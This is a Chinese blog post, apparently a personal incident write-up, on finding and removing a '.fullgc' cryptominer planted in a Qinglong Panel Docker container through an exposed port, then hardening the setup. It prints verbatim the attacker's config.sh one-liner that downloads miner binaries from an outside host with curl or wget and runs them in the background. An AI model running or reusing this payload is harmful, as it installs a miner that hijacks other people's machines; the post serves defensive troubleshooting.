yanchang
yanchang
发布于 2026-02-11 / 14 阅读
0
0

【排错】服务器被植入 .fullgc 挖矿病毒全记录

摘要:CPU 占用率飙升 300%,进程名却叫 .fullgc,是 Java 内存泄露还是恶意攻击?本文记录了一次针对青龙面板(Qinglong Panel)的挖矿病毒排查、溯源与彻底清除的全过程。

【碎碎念】01. 案发现场:伪装成 Java GC 的刺客

事情的起因很简单,我发现我的 Home Server 突然变得卡顿,风扇狂转。通过终端输入 top 命令一看,一个名为 .fullgc 的进程居然占用了 300% 的 CPU 资源!

我的第一反应是:“坏了,难道是我部署的 Java 项目有 Bug,导致了频繁的 Full GC(全局垃圾回收)?”

但仔细一想不对劲:

  1. 正常的 GC 是 JVM 内部的行为,不会作为一个独立的进程出现在 top 列表里。

  2. 这个进程名字前面有个点 .,在 Linux 里代表隐藏文件,正经程序谁会把自己隐藏起来?

这绝对不是 Bug,这是病毒

02. 数字取证:它是怎么进来的?

我咨询了做网安的朋友@Bear🐻,并进行了一系列排查。

第一步:确认“案发地点”

首先,我要弄清楚这个病毒是运行在宿主机上,还是在 Docker 容器里。 执行命令:

Bash

sudo cat /proc/3078/cgroup  # 3078 是病毒进程PID
sudo ls -l /proc/3078/exe

输出结果包含 /docker/3afe34...,这让我松了一口气:病毒被隔离在 Docker 容器内。通过容器 ID 对比,确认为 青龙面板 (qinglong) 容器。

第二步:搜集罪证

进入青龙面板的挂载目录,我发现了几个触目惊心的痕迹:

  1. 病毒本体:位于 /ql/data/db/.fullgc

  2. 篡改痕迹:在脚本目录下发现了 site_monitor.swap.py。这说明黑客曾通过 API 在线编辑我的脚本,因为非正常退出留下了 .swap 缓存文件。

  3. 启动项注入:查看系统日志,发现每次重启都有 ✌️ Init file loaded。检查 /ql/data/config/config.sh,在文件最后一行发现了黑客留下的恶意代码:

    Bash

    d="${QL_DIR:-/ql}/data/db";b="$d/.fullgc";case "$(uname -s)-$(uname -m)" in Linux-x86_64|Linux-amd64)u="https://file.551911.xyz/fullgc/fullgc-linux-x86_64";;Linux-aarch64|Linux-arm64)u="https://file.551911.xyz/fullgc/fullgc-linux-aarch64";;Darwin-x86_64)u="https://file.551911.xyz/fullgc/fullgc-macos-x86_64";;Darwin-arm64)u="https://file.551911.xyz/fullgc/fullgc-macos-arm64";;esac;[ -n "$u" ]&&[ ! -f "$b" ]&&{ curl -fsSL -o "$b" "$u"||wget -qO "$b" "$u"; }&&chmod +x "$b";[ -f "$b" ]&&! ps -ef|grep -v grep|grep -qF ".fullgc"&&nohup "$b"  >/dev/null 2>&1 &
    

    这段代码会在每次容器启动时,自动下载并运行挖矿木马。

第三步:入侵路径推演

我检查了青龙面板的“登录日志”,结果是干净的。这说明黑客根本没走网页端登录。

结合我将 5700 端口 暴露在公网,且可能使用了弱口令的应用设置(Client ID/Secret),黑客的入侵路径昭然若揭: 公网扫描 5700 端口 -> 利用 API 漏洞或泄露的 Token -> 绕过网页登录 -> 远程修改配置文件 -> 植入病毒。

03. 绝地反击:清洗与重建

既然知道了原理,简单的 kill 进程是没有用的,因为它已经写入了自启动脚本,重启容器就会“秽土转生”。

我制定了“三步走”的清除计划:

1. (删除容器)

病毒运行在容器内存中,直接销毁容器是最快的制止方式。

Bash

sudo systemctl stop qinglong

docker rm -f qinglong

2. (清理残留)

虽然容器没了,但挂载在宿主机硬盘上的数据(Volume)还在。必须手动清理这些“带毒”的文件:

Bash

# 删除项目本体
sudo rm -rf /opt/qinglong/data

3. (安全重建)

最核心的教训是:永远不要把青龙面板直接暴露在公网! 我修改了 docker-compose.yml,将端口绑定限制在本地回环地址:

cd /opt/qinglong
sudo vim docker-compose.yml 
version: '3'
services:
  qinglong:
    image: whyour/qinglong:latest
    container_name: qinglong
    restart: unless-stopped
    tty: true
    ports:
      # ⚠️ 关键修改:加上 127.0.0.1: 前缀
      # 这样只有你服务器内部能访问,公网 IP 扫描不到
      - 127.0.0.1:5700:5700
    volumes:
      - ./data:/ql/data

尝试手动拉起一次

把服务重新拉起

sudo systemctl enable qinglong
sudo systemctl start qinglong
sudo systemctl status qinglong

04. 尾声:如何安全访问?

现在面板只监听 127.0.0.1,公网黑客扫不到了,但我自己怎么访问呢? 我采用了 SSH 隧道 (SSH Tunneling) 的方式:

在本地电脑终端执行:

ssh -L 5700:127.0.0.1:5700 user@my-server-ip

然后直接在浏览器访问 http://localhost:5700 即可。或者利用 Tailscale 等内网穿透工具进行安全访问。

最后的重要一步:重新登录面板后,进入「系统设置」->「应用设置」,重置了所有的 Client Secret,防止旧钥匙流落在外。


【插曲】杀伤力不大,侮辱性极强的 ✌️

在检查系统日志时,我发现了一行让我哭笑不得的记录。每当容器重启,日志里都会整整齐齐地打印出一行:

[ℹ️info]: ✌️ Init file loaded

在青龙面板的逻辑里,只要配置文件加载没有报错,它就会判定为 Success,并打出一个胜利的手势 ✌️。

  • 系统觉得:“好耶!老板让我加载的 config.sh 我顺利加载完啦!我真棒!✌️”

  • 实际情况:“好耶!我又帮黑客把挖矿脚本跑起来啦!你的 CPU 又要起飞啦!✌️”

看着满屏的 CPU 300% 和这一行行天真无邪的 ✌️,我感受到了来自黑客代码深深的嘲讽。这个 ✌️ 不仅是系统运行正常的标志,更是病毒“秽土转生”的信号。

总结:这次中毒经历是一堂生动的 DevSecOps 课。不要因为是个人服务器就掉以轻心,防火墙、端口映射限制、强密码,一个都不能少。

希望这篇排雷记录能帮到同样遇到 .fullgc 困扰的朋友!✌️


评论